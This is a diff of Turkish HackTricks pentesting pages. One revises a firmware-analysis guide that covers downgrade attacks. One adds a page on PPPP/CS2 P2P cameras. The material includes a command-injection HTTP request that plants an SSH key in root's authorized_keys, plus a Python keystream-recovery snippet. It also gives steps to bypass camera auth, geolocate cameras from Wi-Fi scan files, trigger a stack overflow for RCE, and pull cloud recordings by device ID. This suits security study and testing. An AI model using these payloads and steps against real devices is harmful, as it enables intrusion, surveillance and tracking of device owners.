- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kapsamlı firmware analizi için
|
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kapsamlı firmware analizi için
|
||||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) ve [**EMBA**](https://github.com/e-m-b-a/emba) statik ve dinamik analiz için
|
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) ve [**EMBA**](https://github.com/e-m-b-a/emba) statik ve dinamik analiz için
|
||||||
|
|
||||||
### Derlenmiş İkililer Üzerinde Güvenlik Kontrolleri
|
### Derlenmiş İkili Dosyalarda Güvenlik Kontrolleri
|
||||||
|
|
||||||
Dosya sisteminde bulunan hem kaynak kodu hem de derlenmiş ikililer güvenlik açıkları açısından incelenmelidir. Unix ikilileri için **checksec.sh** ve Windows ikilileri için **PESecurity** gibi araçlar, istismar edilebilecek korumasız ikilileri tanımlamaya yardımcı olur.
|
Dosya sisteminde bulunan hem kaynak kodu hem de derlenmiş ikili dosyalar güvenlik açıkları açısından dikkatle incelenmelidir. Unix ikili dosyaları için **checksec.sh**, Windows ikili dosyaları için **PESecurity** gibi araçlar, istismar edilebilecek korumasız ikili dosyaları tespit etmeye yardımcı olur.
|
||||||
|
|
||||||
## Dinamik Analiz için Firmware Taklit Etme
|
## Firmware'i Emüle Etme (dynamic analysis için)
|
||||||
|
|
||||||
Firmware taklit etme süreci, bir cihazın çalışması veya bireysel bir programın **dinamik analizini** sağlar. Bu yaklaşım, donanım veya mimari bağımlılıkları ile zorluklarla karşılaşabilir, ancak kök dosya sistemini veya belirli ikilileri, Raspberry Pi gibi eşleşen mimari ve endianlıkta bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir.
|
Firmware emülasyonu süreci, bir cihazın çalışmasının veya bireysel bir programın **dynamic analysis**'ına olanak sağlar. Bu yaklaşım donanım veya mimari bağımlılıklarla karşılaşabilir, ancak root dosya sistemini veya belirli ikili dosyaları, mimarisi ve endianness'i eşleşen bir cihaza (ör. Raspberry Pi) veya önceden hazırlanmış bir sanal makineye aktarmak, ek testleri kolaylaştırabilir.
|
||||||
|
|
||||||
### Bireysel İkilileri Taklit Etme
|
### Bireysel İkili Dosyaların Emülasyonu
|
||||||
|
|
||||||
Tek programları incelemek için, programın endianlığını ve CPU mimarisini belirlemek kritik öneme sahiptir.
|
Tek bir programı incelerken, programın endianness ve CPU mimarisini belirlemek kritik önemdedir.
|
||||||
|
|
||||||
#### MIPS Mimarisi ile Örnek
|
#### MIPS Mimarisi ile Örnek
|
||||||
|
|
||||||
MIPS mimarisi ikilisini taklit etmek için şu komut kullanılabilir:
|
MIPS mimarili bir ikili dosyayı emüle etmek için şu komut kullanılabilir:
|
||||||
```bash
|
```bash
|
||||||
file ./squashfs-root/bin/busybox
|
file ./squashfs-root/bin/busybox
|
||||||
```
|
```
|
||||||
Ve gerekli emülasyon araçlarını kurmak için:
|
Ve gerekli emülasyon araçlarını yüklemek için:
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||||
```
|
```
|
||||||
MIPS (big-endian) için `qemu-mips` kullanılırken, little-endian ikili dosyalar için `qemu-mipsel` tercih edilir.
|
For MIPS (big-endian), `qemu-mips` is used, and for little-endian binaries, `qemu-mipsel` would be the choice.
|
||||||
|
|
||||||
#### ARM Mimari Emülasyonu
|
#### ARM Architecture Emulation
|
||||||
|
|
||||||
ARM ikili dosyaları için süreç benzerdir; emülasyon için `qemu-arm` emülatörü kullanılır.
|
ARM ikili dosyaları için süreç benzer; emülasyon için `qemu-arm` emulator kullanılır.
|
||||||
|
|
||||||
### Tam Sistem Emülasyonu
|
### Full System Emulation
|
||||||
|
|
||||||
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) ve diğer araçlar, tam firmware emülasyonunu kolaylaştırarak süreci otomatikleştirir ve dinamik analize yardımcı olur.
|
Firmadyne, Firmware Analysis Toolkit ve benzeri araçlar tam firmware emülasyonunu kolaylaştırır; süreci otomatikleştirir ve dynamic analysis sırasında yardımcı olur.
|
||||||
|
|
||||||
## Pratikte Dinamik Analiz
|
## Dynamic Analysis in Practice
|
||||||
|
|
||||||
Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullanılır. OS ve dosya sistemine shell erişimini sürdürmek önemlidir. Emülasyon, donanım etkileşimlerini mükemmel bir şekilde taklit etmeyebilir, bu nedenle ara sıra emülasyonun yeniden başlatılması gerekebilir. Analiz, dosya sistemini yeniden gözden geçirmeli, açığa çıkan web sayfalarını ve ağ hizmetlerini istismar etmeli ve önyükleyici zafiyetlerini keşfetmelidir. Firmware bütünlük testleri, potansiyel arka kapı zafiyetlerini belirlemek için kritik öneme sahiptir.
|
Bu aşamada analiz için ya gerçek bir cihaz ya da emüle edilmiş bir device ortamı kullanılır. OS ve filesystem üzerinde shell access sağlamayı sürdürmek kritiktir. Emulation donanım etkileşimlerini tam olarak taklit etmeyebilir; bu yüzden zaman zaman emulation yeniden başlatılması gerekebilir. Analiz sırasında filesystem yeniden incelenmeli, açığa çıkan webpages ve network services üzerinden exploit denenmeli ve bootloader zafiyetleri araştırılmalıdır. Firmware integrity tests, potansiyel backdoor zafiyetlerini tespit etmek için kritiktir.
|
||||||
|
|
||||||
## Çalışma Zamanı Analiz Teknikleri
|
## Runtime Analysis Techniques
|
||||||
|
|
||||||
Çalışma zamanı analizi, bir süreç veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları ayarlanır ve fuzzing gibi tekniklerle zafiyetler belirlenir.
|
Runtime analysis, bir process veya binary ile onun işletim ortamında etkileşim kurmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlarla breakpoint koyma ve fuzzing ile zayıflıkları tespit etme gibi yöntemler kullanılır.
|
||||||
|
|
||||||
## İkili İstismar ve Kanıt-of-Kavram
|
## Binary Exploitation and Proof-of-Concept
|
||||||
|
|
||||||
Belirlenen zafiyetler için bir PoC geliştirmek, hedef mimarinin derin bir anlayışını ve daha düşük seviyeli dillerde programlama bilgisi gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak mevcut olduğunda, Return Oriented Programming (ROP) gibi teknikler gerekli olabilir.
|
Belirlenen zafiyetler için PoC geliştirmek, hedef architecture hakkında derin bilgi ve düşük seviyeli dillerde programlama gerektirir. Embedded sistemlerde binary runtime protections nadirdir, ancak mevcutsa Return Oriented Programming (ROP) gibi teknikler gerekli olabilir.
|
||||||
|
|
||||||
## Firmware Analizi için Hazırlanmış İşletim Sistemleri
|
## Prepared Operating Systems for Firmware Analysis
|
||||||
|
|
||||||
[AttifyOS](https://github.com/adi0x90/attifyos) ve [EmbedOS](https://github.com/scriptingxss/EmbedOS) gibi işletim sistemleri, gerekli araçlarla donatılmış firmware güvenlik testleri için önceden yapılandırılmış ortamlar sağlar.
|
[AttifyOS](https://github.com/adi0x90/attifyos) ve [EmbedOS](https://github.com/scriptingxss/EmbedOS) gibi işletim sistemleri, gerekli araçlarla ön-yapılandırılmış firmware security testing ortamları sağlar.
|
||||||
|
|
||||||
## Firmware Analizi için Hazırlanmış OS'ler
|
## Prepared OSs to analyze Firmware
|
||||||
|
|
||||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Nesnelerin İnterneti (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testleri yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sunarak size çok zaman kazandırır.
|
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Internet of Things (IoT) cihazlarının security assessment ve penetration testing işlemlerine yardımcı olmak için tasarlanmış bir distro. Ön-yapılandırılmış bir environment ve gerekli tüm araçları sağlayarak çokça zaman kazandırır.
|
||||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Gömülü güvenlik testi işletim sistemi, firmware güvenlik test araçları ile önceden yüklenmiş Ubuntu 18.04 tabanlıdır.
|
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ubuntu 18.04 tabanlı, firmware security testing araçları ile ön-yüklü embedded security testing işletim sistemi.
|
||||||
|
|
||||||
## Firmware Geri Alma Saldırıları ve Güvensiz Güncelleme Mekanizmaları
|
## Firmware Downgrade Attacks & Insecure Update Mechanisms
|
||||||
|
|
||||||
Bir satıcı firmware görüntüleri için kriptografik imza kontrolleri uygulasa bile, **sürüm geri alma (downgrade) koruması sıklıkla atlanır**. Önyükleme veya kurtarma yükleyici yalnızca gömülü bir genel anahtar ile imzayı doğruluyorsa ancak *sürümü* (veya monotonik sayacı) karşılaştırmıyorsa, bir saldırgan **geçerli bir imzaya sahip olan daha eski, savunmasız bir firmware'i meşru bir şekilde yükleyebilir** ve böylece yamanmış zafiyetleri yeniden tanıtabilir.
|
Even when a vendor implements cryptographic signature checks for firmware images, **sürüm geri alma (downgrade) koruması sıklıkla ihmal edilir**. Eğer boot- veya recovery-loader embedded public key ile sadece signature doğrulaması yapıyor ama flash edilen imajın *version* (veya monotonic counter) karşılaştırmasını yapmıyorsa, attacker geçerli bir signature taşıyan **daha eski, vulnerable firmware** yükleyerek patched zafiyetleri yeniden sisteme sokabilir.
|
||||||
|
|
||||||
Tipik saldırı iş akışı:
|
Typical attack workflow:
|
||||||
|
|
||||||
1. **Daha eski imzalı bir görüntü elde et**
|
1. **Obtain an older signed image**
|
||||||
* Bunu satıcının kamuya açık indirme portalından, CDN veya destek sitesinden alın.
|
* Vendor’ın public download portalı, CDN veya support sitesinden alın.
|
||||||
* Bunu eşlik eden mobil/masaüstü uygulamalardan çıkarın (örneğin, bir Android APK'sının `assets/firmware/` dizininde).
|
* Companion mobile/desktop uygulamalarından çıkartın (ör. bir Android APK içinde `assets/firmware/`).
|
||||||
* Bunu VirusTotal, internet arşivleri, forumlar vb. gibi üçüncü taraf depolardan alın.
|
* VirusTotal, internet archives, forumlar gibi third-party repository’lerden temin edin.
|
||||||
2. **Görüntüyü cihaza yükleyin veya sunun** herhangi bir açık güncelleme kanalı aracılığıyla:
|
2. **Upload or serve the image to the device** herhangi bir exposed update channel üzerinden:
|
||||||
* Web UI, mobil uygulama API'si, USB, TFTP, MQTT vb.
|
* Web UI, mobile-app API, USB, TFTP, MQTT, vb.
|
||||||
* Birçok tüketici IoT cihazı, Base64 kodlu firmware blob'larını kabul eden *kimlik doğrulaması yapılmamış* HTTP(S) uç noktaları açar, bunları sunucu tarafında çözer ve kurtarma/güncellemeyi tetikler.
|
* Birçok consumer IoT device, Base64-encoded firmware blob’larını kabul eden, sunucu tarafında decode eden ve recovery/upgrade tetikleyen *unauthenticated* HTTP(S) endpoint’leri açar.
|
||||||
3. Geri alma işleminden sonra, daha yeni sürümde yamanmış bir zafiyeti istismar edin (örneğin, daha sonra eklenen bir komut enjekte etme filtresi).
|
3. Downgrade sonrası, yeni sürümde patchlenmiş olan bir zafiyeti exploit edin (örneğin sonradan eklenen bir command-injection filter’ı).
|
||||||
4. İsteğe bağlı olarak, en son görüntüyü geri yükleyin veya kalıcılık sağlandıktan sonra tespiti önlemek için güncellemeleri devre dışı bırakın.
|
4. İsteğe bağlı olarak persistence sağlandıktan sonra detection’ı engellemek için en son image’i tekrar flash edin veya updates’i disable edin.
|
||||||
|
|
||||||
### Örnek: Geri Alma Sonrası Komut Enjeksiyonu
|
### Örnek: Downgrade Sonrası Command Injection
|
||||||
```http
|
```http
|
||||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||||
Host: 192.168.0.1
|
Host: 192.168.0.1
|
||||||
Content-Type: application/octet-stream
|
Content-Type: application/octet-stream
|
||||||
Content-Length: 0
|
Content-Length: 0
|
||||||
```
|
```
|
||||||
Zayıf (düşürülmüş) firmware'de, `md5` parametresi doğrudan bir shell komutuna sanitizasyon olmadan eklenir, bu da rastgele komutların enjekte edilmesine olanak tanır (burada – SSH anahtar tabanlı root erişiminin etkinleştirilmesi). Daha sonraki firmware sürümleri temel bir karakter filtresi tanıttı, ancak düşürme korumasının olmaması düzeltmeyi geçersiz kılıyor.
|
Zafiyetli (downgraded) firmware'de, `md5` parametresi temizlenmeden doğrudan bir shell komutuna eklenir; bu da rastgele komut enjeksiyonuna izin verir (burada – SSH anahtar tabanlı root erişimini etkinleştirme). Daha sonraki firmware sürümleri temel bir karakter filtresi ekledi, ancak downgrade protection'un olmaması bu düzeltmeyi anlamsız kılıyor.
|
||||||
|
|
||||||
### Mobil Uygulamalardan Firmware Çıkartma
|
### Mobil Uygulamalardan Firmware Çıkarma
|
||||||
|
|
||||||
Birçok satıcı, uygulamanın cihazı Bluetooth/Wi-Fi üzerinden güncelleyebilmesi için tam firmware görüntülerini yan uygulamalarının içinde paketler. Bu paketler genellikle `assets/fw/` veya `res/raw/` gibi yollar altında şifrelenmemiş olarak depolanır. `apktool`, `ghidra` veya hatta basit `unzip` gibi araçlar, fiziksel donanıma dokunmadan imzalı görüntüleri çekmenizi sağlar.
|
Birçok satıcı, uygulamanın cihazı Bluetooth/Wi-Fi üzerinden güncelleyebilmesi için eşlik eden mobil uygulamalarının içinde tam firmware görüntülerini paketler. Bu paketler genellikle APK/APEX içinde `assets/fw/` veya `res/raw/` gibi yollar altında şifrelenmemiş olarak saklanır. `apktool`, `ghidra` veya hatta basit `unzip` gibi araçlar, fiziksel donanıma dokunmadan imzalanmış imajları çıkarmanıza olanak tanır.
|
||||||
```
|
```
|
||||||
$ apktool d vendor-app.apk -o vendor-app
|
$ apktool d vendor-app.apk -o vendor-app
|
||||||
$ ls vendor-app/assets/firmware
|
$ ls vendor-app/assets/firmware
|
||||||
@ -252,21 +259,21 @@ firmware_v1.3.11.490_signed.bin
|
|||||||
```
|
```
|
||||||
### Güncelleme Mantığını Değerlendirme Kontrol Listesi
|
### Güncelleme Mantığını Değerlendirme Kontrol Listesi
|
||||||
|
|
||||||
* *güncelleme uç noktası* için taşıma/kimlik doğrulama yeterince korunmuş mu (TLS + kimlik doğrulama)?
|
* *update endpoint*'in transport/authentication'ı yeterince korunuyor mu (TLS + authentication)?
|
||||||
* Cihaz, flaşlamadan önce **sürüm numaralarını** veya **monotonik geri alma önleyici sayacı** karşılaştırıyor mu?
|
* Cihaz, flashing işleminden önce **version numbers** veya **monotonic anti-rollback counter**'ı karşılaştırıyor mu?
|
||||||
* Görüntü, güvenli bir önyükleme zinciri içinde doğrulanıyor mu (örneğin, ROM kodu tarafından imzalar kontrol ediliyor mu)?
|
* Image, secure boot chain içinde doğrulanıyor mu (ör. imzalar ROM code tarafından kontrol ediliyor mu)?
|
||||||
* Kullanıcı alanı kodu ek güvenlik kontrolleri yapıyor mu (örneğin, izin verilen bölüm haritası, model numarası)?
|
* Userland code ek sağlamlık kontrolleri yapıyor mu (ör. allowed partition map, model number)?
|
||||||
* *Kısmi* veya *yedek* güncelleme akışları aynı doğrulama mantığını yeniden kullanıyor mu?
|
* *partial* veya *backup* update flows aynı doğrulama mantığını yeniden kullanıyor mu?
|
||||||
|
|
||||||
> 💡 Yukarıdakilerden herhangi biri eksikse, platform muhtemelen geri alma saldırılarına karşı savunmasızdır.
|
> 💡 Eğer yukarıdakilerden herhangi biri eksikse, platform muhtemelen rollback attacks'e karşı savunmasızdır.
|
||||||
|
|
||||||
## Pratik Yapmak İçin Savunmasız Firmware
|
## Pratik için zafiyetli firmware
|
||||||
|
|
||||||
Firmware'deki güvenlik açıklarını keşfetmek için aşağıdaki savunmasız firmware projelerini başlangıç noktası olarak kullanın.
|
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
|
||||||
|
|
||||||
- OWASP IoTGoat
|
- OWASP IoTGoat
|
||||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||||
- Damn Vulnerable Router Firmware Projesi
|
- The Damn Vulnerable Router Firmware Project
|
||||||
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||||
- Damn Vulnerable ARM Router (DVAR)
|
- Damn Vulnerable ARM Router (DVAR)
|
||||||
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||||
|
|||||||
BIN
src/images/k8studio.jpg
Normal file
BIN
src/images/k8studio.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 6.5 KiB |
@ -0,0 +1,165 @@
|
|||||||
|
# 32100/UDP - Pentesting PPPP (CS2) P2P Kameralar
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Genel Bakış
|
||||||
|
|
||||||
|
PPPP (a.k.a. “P2P”) düşük maliyetli IP kameralar ve diğer IoT cihazlarında yaygın olarak gömülü olan CS2 Network tarafından geliştirilen tescilli bir cihaz bağlantı yığınıdır. Rendezvous, NAT traversal (UDP hole punching), UDP üzerinde uygulama katmanında bir “güvenilir” akış ve yalnızca bir cihaz ID’sini bilerek mobil/masaüstü bir uygulamanın cihazlara Internet üzerinden erişmesine izin veren ID tabanlı bir adresleme şeması sağlar.
|
||||||
|
|
||||||
|
Saldırganlar için önemli özellikler:
|
||||||
|
- Cihazlar her ID ön eki için üç satıcı tarafından işletilen rendezvous sunucusuna kaydolur. İstemciler aynı sunucuları cihazın dış/relay adresini bulmak için sorgular, ardından UDP hole punching denemesi yapar. Relay fallback mevcuttur.
|
||||||
|
- Varsayılan sunucu listener'ı UDP/32100 üzerinden erişilebilirdir. Minimal bir “hello” probe sunucuları ve bazı cihazları fingerprint etmek için yeterlidir.
|
||||||
|
- Opsiyonel blanket cipher ve özel bir “CRCEnc” modu vardır fakat tasarım itibarıyla zayıftır ve popüler ekosistemlerde (ör. LookCam) genellikle devre dışı bırakılmıştır.
|
||||||
|
- Kontrol düzlemi genellikle PPPP stream üzerinde JSON komutlarıdır ve yaygın olarak eksik auth ve bellek-güvenliği hatalarından muzdariptir.
|
||||||
|
|
||||||
|
Tipik cihaz ID formatı (LookCam ailesi): PREFIX-######-CCCCC, uygulamalarda kısaltılır (ör. GHBB-000001-NRLXW → G000001NRLXW). Gözlemlenen ön ekler: BHCC ("hekai"), FHBB ve GHBB ("mykj").
|
||||||
|
|
||||||
|
## Keşif ve Enumarasyon
|
||||||
|
|
||||||
|
- Internet maruziyeti: birçok PPPP süper-düğümü 32100/UDP probe'una cevap verir. Bilinen plaintext ve hata-dize cevapları, trafik yakalamalarında ve Internet tarayıcılarıyla bunları tanımlamayı kolaylaştırır.
|
||||||
|
- LAN keşfi: cihazlar genellikle yerel broadcast üzerinde şifrelenmemiş bir aramaya yanıt verir. Listelemek için Paul Marrapese’nin script'ini kullanın:
|
||||||
|
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
|
||||||
|
|
||||||
|
Notlar:
|
||||||
|
- Uygulamalar, obfuskelenmiş sunucu IP listelerini ve protokol anahtarlarını içeren “init string”leri gömer. Bu string'ler Android/iOS/Windows client'lardan rahatlıkla çıkarılabilir ve sık sık birçok ürün hattında yeniden kullanılır.
|
||||||
|
|
||||||
|
## NAT Geçişi ve Taşıma
|
||||||
|
|
||||||
|
- Rendezvous sunucuları, cihazdan gelen periyodik keepalive'lerle cihazın public eşlemesini öğrenir. İstemciler eşlemeyi sunuculardan sorgular ve ardından hole punching kullanarak doğrudan UDP akışları denemeye çalışır. NAT traversal başarısız olursa trafik belirtilen PPPP relay host'lar tarafından iletilir.
|
||||||
|
- Uygulama “stream”i UDP üzerinde kendi ACK/retx mantığını uygular; retransmission döngüleri birçok kod yolunda çoğaltılmıştır ve kayıplı bağlantıları selleyebilir.
|
||||||
|
|
||||||
|
## Zayıf "Şifreleme" ve Anahtar Kurtarma
|
||||||
|
|
||||||
|
CS2 yığını içinde iki etkisiz mekanizma vardır:
|
||||||
|
|
||||||
|
1) Blanket cipher (opsiyonel) – P2P_Proprietary_Encrypt
|
||||||
|
- Genellikle LookCam kullanan OEM'ler tarafından devre dışı bırakılır.
|
||||||
|
- Uygulama tarafındaki “init string” anahtar malzemesini sağlar ve bu malzeme etkin 4-baytlık bir anahtara indirgenir (~2^32 uzayı).
|
||||||
|
- Pratik bilinen-plaintext: UDP/32100'e giden MSG_HELLO'nun ilk 4 baytı F1 00 00 00 olarak bilinir. Tek bir şifreli el sıkışmasının gözlemlenmesi hızlı anahtar kurtarma veya doğrulama sağlar.
|
||||||
|
- Bazı kontrol mesajları (örn. MSG_REPORT_SESSION_READY) uygulamalar arasında paylaşılan kütüphane-sert kodlanmış bir anahtar ile her zaman şifrelenir.
|
||||||
|
|
||||||
|
2) Kayıt “şifrelemesi” – PPPP_CRCEnc
|
||||||
|
- İsimdeki CRC'ye rağmen, bu CRC değildir. 4-baytlık bir padding kontrolü (doğrulanmamış) ile sabit tekrarlayan XOR keystream'idir.
|
||||||
|
- LookCam ağları tipik olarak CRCEnc'i yalnızca cihaz → sunucu kayıt için (MSG_DEV_LGN_CRC) kullanır. Diğer çoğu trafik düz metin olarak kalır.
|
||||||
|
|
||||||
|
PPPP_CRCEnc için basit keystream kurtarma (Python):
|
||||||
|
```python
|
||||||
|
# ciphertext: captured bytes of an encrypted registration message
|
||||||
|
# known: guessed/known plaintext region (e.g., JSON or constant header)
|
||||||
|
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
|
||||||
|
# Decrypt more bytes by XORing with the repeating keystream
|
||||||
|
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
|
||||||
|
```
|
||||||
|
Tehdit modeli uyumsuzluğu: CS2 materyalleri, gizliliğe değil, sahte cihaz kayıtları yoluyla DoS'u önlemeye odaklanıyor. Bu, kayıt işleminin seçici “şifrelenmesini” açıklıyor; video/kontrol ise isteğe bağlı veya cleartext olarak kalıyor. Tarihsel PPPP sunucuları hız sınırlaması göstermiyor, bu da brute-force/abuse ölçeğinde kötüye kullanımı mümkün kılıyor.
|
||||||
|
|
||||||
|
## Kontrol Düzlemi: JSON Commands and Auth Bypass
|
||||||
|
|
||||||
|
Pek çok PPPP kamera firmware'i, oturum kurulduktan sonra JSON mesajları değiş tokuş eder. İstemcinin gönderdiği örnek “login” şöyle:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cmd": "LoginDev",
|
||||||
|
"pwd": "123456"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Common vulnerability in LookCam-class devices:
|
||||||
|
- Firmware ignores both the LoginDev flow and per-request pwd fields (CWE-287, CWE-306). The device accepts operational commands without validating a password.
|
||||||
|
- Exploitation: do not send LoginDev or ignore its result; send commands directly.
|
||||||
|
|
||||||
|
Useful commands observed:
|
||||||
|
- searchWiFiList – shells out to iwlist; leaves raw output in /tmp/wifi_scan.txt.
|
||||||
|
- DownloadFile – arbitrary path read primitive without path restrictions.
|
||||||
|
|
||||||
|
Workflow to deanonymize location via transient artifacts:
|
||||||
|
1) Send {"cmd":"searchWiFiList"}.
|
||||||
|
2) Read /tmp/wifi_scan.txt via DownloadFile.
|
||||||
|
3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.
|
||||||
|
|
||||||
|
## Memory-Safety to RCE on Embedded Firmware
|
||||||
|
|
||||||
|
Tipik güvensiz desen (pseudocode from handlers):
|
||||||
|
```c
|
||||||
|
char buf[256];
|
||||||
|
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
|
||||||
|
memset(buf, 0, sizeof(buf));
|
||||||
|
memcpy(buf, cmd, strlen(cmd)); // no bound check
|
||||||
|
```
|
||||||
|
- Tetikleyici: herhangi bir cmd string > 255 bytes stack buffer overflow (CWE-120/121) oluşturur.
|
||||||
|
- Koruma: no stack canary; DEP/NX ve ASLR bu build'lerde genellikle devre dışı.
|
||||||
|
- Etki: straightforward single-stage shellcode veya classic ROP/ret2libc cihazın CPU'sunda (örn., ARM) tam ele geçirme ve LAN pivoting için.
|
||||||
|
|
||||||
|
See also:
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../binary-exploitation/stack-overflow/README.md
|
||||||
|
{{#endref}}
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## Bulut Depolama Kötüye Kullanımı (HTTP, Device-ID only)
|
||||||
|
|
||||||
|
Birçok LookCam markalı firmware sadece HTTP üzerinden kayıtları api.l040z.com'a (BHCC için apicn.l040z.com) yükler. Gözlemler:
|
||||||
|
- Firmware'de TLS yok; taşıma açık metin HTTP.
|
||||||
|
- API “authentication” yalnızca device-ID: ID'yi bilen herkes kayıtları çekebilir.
|
||||||
|
- 5 MiB chunking sabit kodlanmış.
|
||||||
|
- Remote enablement: boot sırasında cihaz http://api.l040z.com/camera/signurl çağrısı yapar; sunucunun cevabı yüklemelerin başlayıp başlamayacağını belirler. Mobil uygulama yüklemeler olurken cloud “disabled” gösterebilir. Üçüncü bir taraf, bir hedef ID için cloud satın/enable edebilir ve görüntüleri sessizce toplayabilir.
|
||||||
|
|
||||||
|
Bu, eksik server-side authZ ile klasik cleartext sensitive transmission (CWE-319) örneğidir.
|
||||||
|
|
||||||
|
## Device-ID Enumeration and Guessing
|
||||||
|
|
||||||
|
- ID formatı: PREFIX-######-CCCCC ve app-shortened formu (örn., GHBB-000001-NRLXW → G000001NRLXW).
|
||||||
|
- Prefix aileleri: BHCC (hekai servers), FHBB ve GHBB (mykj servers). Her prefix HA için üç rendezvous servers'a eşlenir.
|
||||||
|
- 5-harf verifier büyük harflerden oluşan 22 harflik bir alfabe kullanır (A, I, O, Q çıkarılmış) → 22^5 ≈ 5.15M kombinasyon her sayısal taban için.
|
||||||
|
- Önceki çalışmalar server-side rate-limiting olmadığını gözlemledi; bu da dağıtık tahminlemeyi pratik yapar. Verifier algoritması özel yapım olup muhtemelen tahmin edilebilir veya app/firmware reverse ederek elde edilebilir.
|
||||||
|
|
||||||
|
Pratik ID kaynakları:
|
||||||
|
- Resmi uygulamalarda her yerde gösterilir ve sık sık kullanıcı ekran görüntülerinde/videolarında leaked olur.
|
||||||
|
- AP mode SSID device ID'ye eşittir; birçok cihaz onboarding sırasında açık bir AP sunar.
|
||||||
|
|
||||||
|
## Uzaktan Erişilebilirliği Zorlamak
|
||||||
|
|
||||||
|
Bazı firmware'ler rendezvous servers ulaşılabilir olana kadar döngü halinde reboot yapar. Eğer egress engellenmişse, cihaz reboot döngüsünde kalır; bu da sahiplerini cihazı Internet-reachable bırakmaya ve PPPP rendezvous'a maruz bırakmaya zorlar.
|
||||||
|
|
||||||
|
## Pratik Exploitation Playbook (for repro/defense testing)
|
||||||
|
|
||||||
|
1) Cihaz ID'si edin
|
||||||
|
- App UI'dan veya AP SSID'den; aksi takdirde PREFIX+numara enumerate edip 22^5 verifier alanını brute'la.
|
||||||
|
|
||||||
|
2) PPPP oturumu kur
|
||||||
|
- CS2 PPPP client veya custom code kullan; app init string'ten server IP listelerini ve init key'leri çıkar; UDP hole punching dene; relay'e geri dön.
|
||||||
|
|
||||||
|
3) Auth'ı atla
|
||||||
|
- LoginDev'i atla veya sonucunu görmezden gel; operational JSON'u doğrudan gönder.
|
||||||
|
|
||||||
|
4) Dosyaları exfiltrate et / geo-locate yap
|
||||||
|
- Gönder {"cmd":"searchWiFiList"}; sonra DownloadFile "/tmp/wifi_scan.txt"; BSSIDs'i bir geolocation API'ye gönder.
|
||||||
|
|
||||||
|
5) RCE elde et
|
||||||
|
- Stack overflow'u tetiklemek için cmd > 255 byte gönder; ROP/ret2libc inşa et veya shellcode yerleştir (no canary/DEP/ASLR).
|
||||||
|
|
||||||
|
6) Cloud erişimi
|
||||||
|
- Yalnızca device ID kullanarak api.l040z.com uç noktaları ile etkileşime geç; 5 MiB chunking'e dikkat et; cloud enablement /camera/signurl tarafından kontrol edilir, app UI durumundan bağımsız.
|
||||||
|
|
||||||
|
## İlgili Protokoller/Hizmetler
|
||||||
|
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
554-8554-pentesting-rtsp.md
|
||||||
|
{{#endref}}
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../generic-methodologies-and-resources/pentesting-wifi/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## Referanslar
|
||||||
|
